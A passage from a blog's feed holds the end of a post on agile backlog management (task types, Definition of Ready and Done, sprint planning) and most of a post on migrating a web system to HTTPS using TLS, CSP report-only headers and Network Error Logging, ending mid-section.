&lt;/ul&gt;

&lt;p&gt;These are very different activities and should not be treated the same way. Instead, these types of work should be differentiated. In case we use Jira or other tool for task and backlog management, it would reflect in different task types:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;User story&lt;/li&gt;
  &lt;li&gt;Task&lt;/li&gt;
  &lt;li&gt;Defect&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Different task types allow us to treat them differently: apply different Definition of Ready, Definition of Done, task description, estimate etc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User story&lt;/strong&gt; brings business value as added functionality to the end user. It naturally follows the User Story format (&lt;em&gt;“As a … I want … so I could …“&lt;/em&gt;). It usually has a direct interaction with the end-user via some interface (UI, API). They are estimated using Story Points (by comparing User Story complexity), prioritized by Product Owner and planned in a roadmap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Task&lt;/strong&gt; may be technical task, task for technical analysis (research), operational activity, maintenance task or enabler for other user story. It brings business value by increased system stability, visibility, security, customer satisfaction, managed (reduced) risks and enabling other backlog item delivery. The nature of these tasks is very different, therefore it is difficult to threat them the same way. Estimating them using Story Points doesn’t make sense either. The format doesn’t need to meet the User Story format, but the value still need to be defined and measured where applicable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defect&lt;/strong&gt; is the incorrect system functional or non-functional behavior, discovered after completion of the original task/user story. Like the Task, it doesn’t have a User Story estimate nor User Story format. However, in order to prioritize the defects accordingly, it is needed to identify the threat that is caused by the defect and the risk it poses.&lt;/p&gt;

&lt;h2 id=&quot;backlog-prioritization-definition-of-ready&quot;&gt;Backlog prioritization, definition of ready&lt;/h2&gt;

&lt;p&gt;As different task are treated differently, there are obvious differences in specifying details and prioritizing them.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;user stories&lt;/strong&gt; are prioritized by Product Owner according to the expected Business Value and Estimate (Story Points value).&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;tasks&lt;/strong&gt; are usually the prerequisites for the User Stories, therefore they are naturally prioritized higher and planned to be implemented one or more sprints in advance. The operational or maintenance tasks are usually included to the sprint by default to ensure the stability of the system.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;defects&lt;/strong&gt; are prioritized according to the Risk they pose. There is no silver bullet how to prioritize them along Business items (User Stories) - the company has to define itself how to measure the value of the Risk mitigation.
One of the options is to define the expected remediation time for certain Risk ratings, and then after evaluation of the defect, plan the remediation according to this expectation.&lt;/p&gt;

&lt;p&gt;In order to prepare the backlog items for implementation, the &lt;strong&gt;Definition of Ready&lt;/strong&gt; (DoR) needs to be defined. The DoR is the alignment between the Team, Product Owner and other stakeholders on the criteria the item needs to meet, so it could be accepted to Sprint for implementation.&lt;/p&gt;

&lt;p&gt;The example of the DoR for the User Story:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The User Story is written in a proper format, all parts (actor, function, value) is clear to the team&lt;/li&gt;
  &lt;li&gt;Acceptance Criteria (functional and non-functional requirements) is clear (not ambiguous) and testable&lt;/li&gt;
  &lt;li&gt;Meets INVEST criteria&lt;/li&gt;
  &lt;li&gt;Dependencies are identified and impediments are removed (i.e. the wireframes/mockups are prepared by UX team; the translations are provided by Translations team etc.)&lt;/li&gt;
  &lt;li&gt;Business metrics are defined for monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The example of the DoR of the Defect:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The defect is reproducible&lt;/li&gt;
  &lt;li&gt;The impact (damage, scope etc.) is defined&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The DoR for the Task does not have most of these requirements, so if defining them brings value to your team, you can do it for your specific case. The good example of such DoR would be “Service Level Objectives (SLO) are defined”, which results in a mutual business and technical effort, and impacts the Service Level Agreement (SLA) of the product.&lt;/p&gt;

&lt;p&gt;In order to meet all criteria for DoR, the backlog items need to be refined in advance (at least 1-2 sprints before the actual implementation), so missing information could be provided either by Product Owner or by certain stakeholders.&lt;/p&gt;

&lt;h2 id=&quot;sprint-planning-estimating&quot;&gt;Sprint planning, estimating&lt;/h2&gt;

&lt;p&gt;While the product roadmap (backlog) is owned and maintained by the Product Owner, the sprint plan is the team’s commitment for the certain timebox (sprint).&lt;/p&gt;

&lt;p&gt;The content of the sprint is usually the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;New feature development (User Stories from Product Backlog)&lt;/li&gt;
  &lt;li&gt;Technical tasks&lt;/li&gt;
  &lt;li&gt;Maintenance and operational tasks&lt;/li&gt;
  &lt;li&gt;Leftovers from previous sprints&lt;/li&gt;
  &lt;li&gt;Unplanned urgent items&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As only User Stories are initially estimated using Story Points, the team’s velocity is not sufficient to ensure accuracy of the sprint content.
Also, the team’s capacity isn’t constant: team member rotation, annual vacations, planned absences, partial availability etc. directly impacts the sprint capacity. Also, certain factors (i.e. seasonal events) impact how much operations and maintenance is needed. Therefore the mean team’s velocity (Story Points completed per sprint) cannot be automatically planned for the Sprint’s delivery.&lt;/p&gt;

&lt;p&gt;The consensus however must be achieved between the Product Owner, team and other stakeholders which features and technical tasks are aimed to be planned for the sprint. This is usually done during the Sprint Planning first part.&lt;/p&gt;

&lt;p&gt;What I found useful for the team is to split the tasks into subtasks, estimate them in timed units during the Sprint Planning activity and use this metric to plan the sprint.
In such case the team knows up-front its capacity, the operational task effort (from empirical data) and how much feature tasks (User Stories) can be planned. This can be done during the Sprint Planning second part, where the Product Owner participation is rather optional.&lt;/p&gt;

&lt;p&gt;Additionally, during the planning, the team may assign certain tasks in advance to specific team members. Due to different knowledge and experience, the esimate can also differ (i.e. during the onboarding period of a team member), although the complexity and the Story Point estimate does not and should not correlate.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;It is very important not to try correlating them and to leave purely for the team. While management usually tries to include time in various calculations, it brings more harm, as it results in either “safe” overestimates or cutting quality corners in favor of meeting estimates. I’ve seen this both behaviour and both of them cause negative impact and, what is even worse, this impact is hidden behind good-looking KPIs.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;tracking-time-leftovers&quot;&gt;Tracking time, leftovers&lt;/h2&gt;

&lt;p&gt;When the sprint is planned, there is a question - should the spent time be tracked. Unless there is a strict management requirement to do so, estimating spent time should be done only if the team finds value in it.&lt;/p&gt;

&lt;p&gt;I find the value of estimating the operational and maintenance tasks, as such information is useful for planning operational effort. Also, for the finance department it might be relevant when calculating the product capitalization.
Regarding tracking feature tasks, it is up for the particualar team whether there is value in doing it. Just beware that exposing such information to other stakeholders is risky, as I mentioned previously.&lt;/p&gt;

&lt;p&gt;Another common question is how to handle unfinished sprint items. The common example is “Everything is implemented, tested, but not deployed. Should we complete the User Story?”. I’ve seen various ways teams deal with such leftovers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Completing the User Story and creating another one&lt;/li&gt;
  &lt;li&gt;Reestimating the User Story (changing the Story Points) and moving it to the upcoming sprint&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both of these ways are &lt;strong&gt;wrong&lt;/strong&gt; - they create a fake sense of achievement, hide the information of the lead time (the feature is not yet in a production) and distort the User Story attributes (complexity evaluation).&lt;/p&gt;

&lt;p&gt;This topic naturally leads to the &lt;strong&gt;Definition of Done&lt;/strong&gt; (DoD) topic. Like the Definition of Ready, the common agreement of the DoD is needed within the team and depends on the product development lifecycle.
For example, for products with the timeboxed release cycles (i.e. software is physically shipped every 6 weeks or so), the implementation, testing and integration might be enough to treat the User Story as completed, but for the products where the features are released once they are implemented, the deployment (and likely some post-development activities) should be included in the DoD, meaning that the User Story can be treated as Completed only when the DoD is fully met.&lt;/p&gt;

&lt;p&gt;This results in some cases when deployment is left to the upcoming spring on purpose (i.e. if there is a team agreement not to deploy on fridays, or there is some external dependency). And while the User Story would not be completed within the sprint, from the long-term perspective it would not matter that much, as the long-term average team velocity would not change.&lt;/p&gt;

&lt;p&gt;As such Subtask would have relatively small timed estimate, the remaining time of the User Story would be quite small as well, so moving the User Story to the upcoming sprint would consume a small part of the upcoming sprint capacity.
Also, moving the User Story between sprints ensures the visibility of the lead time. It is a good indicator (i.e. if User Story spans more than 2 sprints) for the Scrum Master to review the impediments for the delivery of the User Story in order to resolve or escalate it.&lt;/p&gt;

&lt;p&gt;Velocity and Story Point completeness ratio should not treated as the team’s performance indicator, as it would lead to faking this metric.
Hour-completeness ratio may indicate team’s estimation accuracy. It might indicate unforeseen issues (underestimate), or found opportunities (overestimate), that can be reviewed during the retrospective, but this should be left solely to the team.&lt;/p&gt;

&lt;h2 id=&quot;definition-of-done-and-non-functional-requirements&quot;&gt;Definition of Done and non-functional requirements&lt;/h2&gt;

&lt;p&gt;Here is the example of the Definition of Done:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Functionality is implemented and meets functional requirements (workflows, wireframes and other supplementary functional specifications for the specific User Story)&lt;/li&gt;
  &lt;li&gt;Code is written and meets non-functional requirements&lt;/li&gt;
  &lt;li&gt;Code is reviewed by other engineer and merged to the appropriate branch&lt;/li&gt;
  &lt;li&gt;Functionality is reviewed and verified (accepted) by the Product Owner (applicable to User Stories; for technical tasks QA acceptance might be sufficient)&lt;/li&gt;
  &lt;li&gt;Functionality is tested (integration tests are implemented, running in certain environment and passing)&lt;/li&gt;
  &lt;li&gt;Deployed in production (if applicable according to your SDLC)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The DoD needs to be defined and aligned within the engineering team.&lt;/p&gt;

&lt;p&gt;For functional requirements we use Confluence and link the specific pages to the Jira task. For easier navigation we prefix the Confluence pages with the Jira issue ID.&lt;/p&gt;

&lt;p&gt;The non-functional requirements are both task-specific and generic (applicable for all tasks) for the team. Also, in a large scale organizations, it makes sense to have the generic non-functional requirements within all organization. As a prerequisite, certain requirements, guidelines, policies, services and teams need to be established, but the benefit is the consistency between multiple teams, and engineering efficiency due to centralized services and technical solutions.&lt;/p&gt;

&lt;h2 id=&quot;epilogue&quot;&gt;Epilogue&lt;/h2&gt;

&lt;p&gt;Despite certain good practices, it is most important to keep the Agile mindset and support its values. The practices are very specific for the certain organization, product and team, so we need to experiment and look for what works best in the certain situation. The other people’s experience can help achieving results faster, but the specific organizational and technical context should always be considered.&lt;/p&gt;
</description>
            <pubDate>Fri, 29 Nov 2019 00:00:00 -0600</pubDate>
            <link>https://lescinskas.lt/blog/2019/11/29/agile-product-backlog-management/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2019/11/29/agile-product-backlog-management/</guid>
            
            
        </item>
        
        <item>
            <title>Moving from HTTP to HTTPS</title>
            <description>&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019/https.png&quot; alt=&quot;HTTPS&quot; class=&quot;img-responsive img-rounded&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Currently HTTPS (HTTP over TLS) is the de-facto protocol for accessing content in the web. By utilizing public-key infrastructure this protocol ensures the &lt;strong&gt;confidentiality&lt;/strong&gt; and &lt;strong&gt;integrity&lt;/strong&gt; of the data in-transit and the &lt;strong&gt;authenticity&lt;/strong&gt; of the website.&lt;/p&gt;

&lt;p&gt;While HTTPS brings many benefits for all parties and is being promoted by the browser vendors and various organizations, its adoption for a large enterprises, especially operating number of domains, can be complicated.&lt;/p&gt;

&lt;p&gt;This post is the summary of a practical experience obtained from migrating one large web system to HTTPS.&lt;/p&gt;

&lt;h2 id=&quot;preparation-and-enabling-https&quot;&gt;Preparation and enabling HTTPS&lt;/h2&gt;

&lt;h3 id=&quot;defining-the-scope&quot;&gt;Defining the scope&lt;/h3&gt;

&lt;p&gt;If you operate more that one domain, it is important to define the scope - for which product(s) the HTTPS will be forced.&lt;/p&gt;

&lt;p&gt;If the web application loads the assets (images, CSS stylesheets, JS scripts, fonts etc.) from HTTP origins, this would result in the Mixed Content. Depending on the Mixed Content type (active, passive) it would cause the incorrect behaviour or incorrect visual representation of the application, therefore such changes need to be taked with a proper care and monitoring of the potential impact.
The W3C Reporting API can be utilized to identify the impact and to adjust the scope of the change.&lt;/p&gt;

&lt;h3 id=&quot;planning&quot;&gt;Planning&lt;/h3&gt;

&lt;p&gt;The sample activity plan for the implementation:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Enabling HTTPS
    &lt;ul&gt;
      &lt;li&gt;Obtaining TLS certificate&lt;/li&gt;
      &lt;li&gt;Configuring TLS&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Reporting and testing
    &lt;ul&gt;
      &lt;li&gt;CSP configuration, tuning&lt;/li&gt;
      &lt;li&gt;Manual testing&lt;/li&gt;
      &lt;li&gt;Verifying and increasing TTL for NEL reporting&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Forcing HTTPS
    &lt;ul&gt;
      &lt;li&gt;Upgrading insecure requests&lt;/li&gt;
      &lt;li&gt;Configuring HTTPS redirects&lt;/li&gt;
      &lt;li&gt;Configuring cookies&lt;/li&gt;
      &lt;li&gt;Enabling Strict Transport Security (HSTS)&lt;/li&gt;
      &lt;li&gt;Verifying and increasing TTL for HSTS&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There might be additional steps needed. Also, it makes sense to run these activities in Development, Testing and Staging environments first and then replicate the configuration to Production.&lt;/p&gt;

&lt;p&gt;For us it took approximately 3 months to do the smooth and safe transition to HTTPS.&lt;/p&gt;

&lt;h2 id=&quot;enabling-https&quot;&gt;Enabling HTTPS&lt;/h2&gt;

&lt;p&gt;To enable HTTPS in the web system, it is needed to obtain the TLS certificate from the Certificate Authority (CA) and to configure the HTTP(S) server or proxy to support it.&lt;/p&gt;

&lt;h3 id=&quot;obtaining-certificate&quot;&gt;Obtaining certificate&lt;/h3&gt;

&lt;p&gt;The TLS certificate can be bough from one of many CAs or obtained for free from the non-profit CA &lt;a href=&quot;https://letsencrypt.org/&quot;&gt;Let’s Encrypt&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s Encrypt utilizes the Automated Certificate Management Environment (ACME) protocol to automate the certficate issuing, validation and renewal, therefore the certificate validity is 3 months, thus should be obtained and renewed in the automated manner. The same ACME protocol is used by other CAs as well.&lt;/p&gt;

&lt;p&gt;TLS certificates issued by other CAs are valid for a longer time (1 or 2 years usually), therefore in certain (premature) environments this can be more suitable option.&lt;/p&gt;

&lt;p&gt;Also, TLS encryption can be provided out-of-the-box as a managed service. As an example, Cloudflare provides a &lt;a href=&quot;https://www.cloudflare.com/ssl/&quot;&gt;TLS proxy service&lt;/a&gt;, Google Cloud Platform provides managed TLS service, that is also &lt;a href=&quot;/blog/2019/10/03/letsencrypt-managed-tls-certificates-kubernetes-gke/&quot;&gt;available for Kubernetes&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;tls-configuration&quot;&gt;TLS configuration&lt;/h3&gt;

&lt;p&gt;The certificate itself does not ensure the security - it enables the client to verify the server’s authenticity and to perform the TLS handshake.&lt;/p&gt;

&lt;p&gt;The actual TLS setup security depends on the configuration of the HTTPS server, in particular which TLS versions and cipher suits are supported by the server.&lt;/p&gt;

&lt;p&gt;To ensure the consistent configuration of the HTTPS services, it makes sense to serve all HTTPS traffic through the single TLS proxy. It can be both hosted on-premise or the online TLS service can be used.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.ssllabs.com/ssltest/&quot;&gt;TLS configuration test&lt;/a&gt; can be used to evaluate the security of both certificate and the server setup. I suggest to aim for at least “A” grade unless some specific exeptions are needed (i.e. RC4 cipher support, which is used in old MSIE browser versions).&lt;/p&gt;

&lt;p&gt;The continuous improvement of the HTTPS server setup is needed as new weaknesses are discovered in the certain TLS protocol versions and cipher suits, thus new configuration options emerge.
There’s a good quick summary of &lt;a href=&quot;https://en.wikipedia.org/wiki/Transport_Layer_Security#Cipher&quot;&gt;protocol and cipher security in Wikipedia&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;reporting-and-testing&quot;&gt;Reporting and Testing&lt;/h2&gt;

&lt;p&gt;As the ultimate target is to fully migrate to HTTPS, there is a need to be safe that such change will not introduce any regression and faulty web application behavior.&lt;/p&gt;

&lt;h3 id=&quot;content-security-policy-csp-violation-reporting&quot;&gt;Content Security Policy (CSP) violation reporting&lt;/h3&gt;

&lt;p&gt;One of the main means to ensure HTTP transport security is by utilizing &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;Content Security Policy&lt;/a&gt; (CSP). Using CSP the web browsers are instructed to control the origins that web application can load assets from.&lt;/p&gt;

&lt;p&gt;CSP can work both in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enforced&lt;/code&gt; mode (User Agents are blocking certain requests) and in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;report-only&lt;/code&gt; mode (violations are logged). The latter mode can be used to safely define a desired set of CSP directives and to perform a dry-run without actual negative impact to the end users.&lt;/p&gt;

&lt;p&gt;The CSP directive configuration very much depends on the web application structure and the origins that are (and should be) allowed to load the assets from.&lt;/p&gt;

&lt;p&gt;The violations can be logged to the Reporting service, &lt;a href=&quot;https://report-uri.com&quot;&gt;report-uri.com&lt;/a&gt; being one of the popular ones, run by &lt;a href=&quot;https://scotthelme.co.uk/&quot;&gt;Scott Helme&lt;/a&gt; and &lt;a href=&quot;https://www.troyhunt.com/&quot;&gt;Troy Hunt&lt;/a&gt; - the well-known figures in the Application Security universe.&lt;/p&gt;

&lt;p&gt;I suggest to start from the very strict policy (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default-src &apos;self&apos;&lt;/code&gt;) and to loosen it with the needed origins (i.e. CDN domains) and with the directives that fixing costs too much to be included to scope of the mirgation to HTTPS project (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;unsafe-inline&apos;&lt;/code&gt;).
Just be aware that once you make changes in production, your logs might get filled REALLY quickly.&lt;/p&gt;

&lt;p&gt;After number of CSP alteration we defined the safe policy (suitable for our web application) to be used in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;report-only&lt;/code&gt; mode. This is how the HTTP response header looks like for such policy:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy-Report-Only: default-src data: https: &apos;unsafe-inline&apos; &apos;unsafe-eval&apos; &apos;report-sample&apos;; report-uri https://EXAMPLE.report-uri.com/r/d/csp/reportOnly
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While being a safe to be used in the production within a scope of a HTTPS migration, such CSP is &lt;strong&gt;NOT&lt;/strong&gt; secure, especially &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data:&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;unsafe-inline&apos;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;unsafe-eval&apos;&lt;/code&gt; origins. However, if these origins are used in the application, it needs to be refactored in order to exclude it from the CSP origin whitelist.&lt;/p&gt;

&lt;p&gt;The CSP reports are submitted in JSON format. The report example:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;csp-report&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;blocked-uri&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;eval&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;column-number&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2718&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;document-uri&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://www.example.com/some-uri&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;line-number&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;original-policy&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;default-src https:; script-src https: &apos;unsafe-inline&apos; &apos;report-sample&apos;; report-uri https://EXAMPLE.report-uri.com/r/d/csp/reportOnly&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;script-sample&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;function anonymous(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;) {&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;return this.GetP…&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;source-file&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://www.example.com/document-with-a-csp-violation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;violated-directive&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;script-src&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Analysing and tuning the CSP gives a good overview of the dependencies of your application(s) and lets you adjust the scope of the migration to HTTPS project.&lt;/p&gt;

&lt;p&gt;For example, we found out that some of our applications load assets from the user-defined origins and introducing the restrictions might result in the undesired behavior. Therefore we left such applications out of scope (HTTPS is enabled but not forced), accepting the risk of a mixed content-based threats.&lt;/p&gt;

&lt;h3 id=&quot;network-error-logging-nel-reporting&quot;&gt;Network Error Logging (NEL) reporting&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/network-error-logging/&quot;&gt;Network Error Logging&lt;/a&gt; is a modern standard allowing web browsers to report the Network Errors by utilizing &lt;a href=&quot;https://www.w3.org/TR/reporting/&quot;&gt;W3C Reporting API&lt;/a&gt;.
Scott Helme has a &lt;a href=&quot;https://scotthelme.co.uk/network-error-logging-deep-dive/&quot;&gt;comprehensive blogpost&lt;/a&gt; about NEL.&lt;/p&gt;

&lt;p&gt;The following TLS errors can be reported:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tls.version_or_cipher_mismatch
    The TLS connection was aborted due to version or cipher mismatch
tls.bad_client_auth_cert
    The TLS connection was aborted due to invalid client certificate
tls.cert.name_invalid
    The TLS connection was aborted due to invalid name
tls.cert.date_invalid
    The TLS connection was aborted due to invalid certificate date
tls.cert.authority_invalid
    The TLS connection was aborted due to invalid issuing authority
tls.cert.invalid
    The TLS connection was aborted due to invalid certificate
tls.cert.revoked
    The TLS connection was aborted due to revoked server certificate
tls.cert.pinned_key_not_in_cert_chain
    The TLS connection was aborted due to a key pinning error
tls.protocol.error
    The TLS connection was aborted due to a TLS protocol error
tls.failed
    The TLS connection failed due to reasons not covered by previous errors
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The errors can indicate wrong configuration, use of expired or revoked TLS certificate and the misuse or potential TLS-based attack scenarios.&lt;/p&gt;

&lt;p&gt;The errors can be logged to the aforementioned report-uri.com service by adding the certain HTTP response headers (replace term “EXAMPLE” with your configured one):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Report-To: {&quot;group&quot;:&quot;default&quot;,&quot;max_age&quot;:604800,&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https://EXAMPLE.report-uri.com/a/d/g&quot;}],&quot;include_subdomains&quot;:true}
NEL: {&quot;report_to&quot;:&quot;default&quot;,&quot;max_age&quot;:604800,&quot;include_subdomains&quot;:true}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this example the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max_age&lt;/code&gt; directive is set to 7 days (604 800 seconds). This is the time for which web browser stores this setting for a certain domain (or for all subdomains as well as in the example above).
After testing period the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max_age&lt;/code&gt; attribute should be increased to a much longer period (i.e. 365 days / 31 536 000 seconds).&lt;/p&gt;

&lt;h3 id=&quot;manual-testing&quot;&gt;Manual testing&lt;/h3&gt;

&lt;p&gt;While &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;report-only&lt;/code&gt; CSP can be deployed in production and over time most violations will get reported, there are certain cases when manual testing is needed, for example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Internal applications or subsystems with restricted access&lt;/li&gt;
  &lt;li&gt;Specific browser extensions are used and reports show blocked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome-extension&lt;/code&gt; or similar URI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Manual testing provides the ability not only to report the violations, but to see the actual impact.
Therefore during the manual testing it is needed to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enforced&lt;/code&gt; CSP mode which actually blocks requests. Due to potential negative impact it obviously cannot be done for all users.&lt;/p&gt;

&lt;p&gt;One of the easiest ways is to use the browser extension to modify the HTTP headers.
&lt;a href=&quot;https://bewisse.com/modheader/&quot;&gt;ModHeaders&lt;/a&gt; extension is available for &lt;a href=&quot;https://chrome.google.com/webstore/detail/modheader/idgpnmonknjnojddfkpgkljpfnnfcklj?hl=en&quot;&gt;Chrome&lt;/a&gt; and &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/modheader-firefox/&quot;&gt;Firefox&lt;/a&gt;, allowing to perform the manual test.&lt;/p&gt;

&lt;p&gt;Read further section to get the actual CSP policy which can be used along with this extension for testing.&lt;/p&gt;

&lt;h2 id=&quot;forcing-https&quot;&gt;Forcing HTTPS&lt;/h2&gt;

&lt;p&gt;After the web application(s) are accessible via HTTPS, testing is performed, scope for forcing HTTPS is clarified and the CSP policy is defined, it is time to move the the second stage - force the HTTPS for these applications.&lt;/p&gt;

&lt;h3 id=&quot;upgrading-insecure-requests&quot;&gt;Upgrading insecure requests&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/upgrade-insecure-requests/&quot;&gt;Upgrade insecure requests&lt;/a&gt; is a CSP directive informing web browsers to seamlessly upgrade all requests from the web application to use HTTPS even if the HTTP is used in the application code.
As the result it reduces the mixed content likelihood and improves the application security with very little effort.&lt;/p&gt;

&lt;p&gt;Under the hood it works this way: the browser indicates the support of this feature via request HTTP header&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Upgrade-insecure-requests: 1
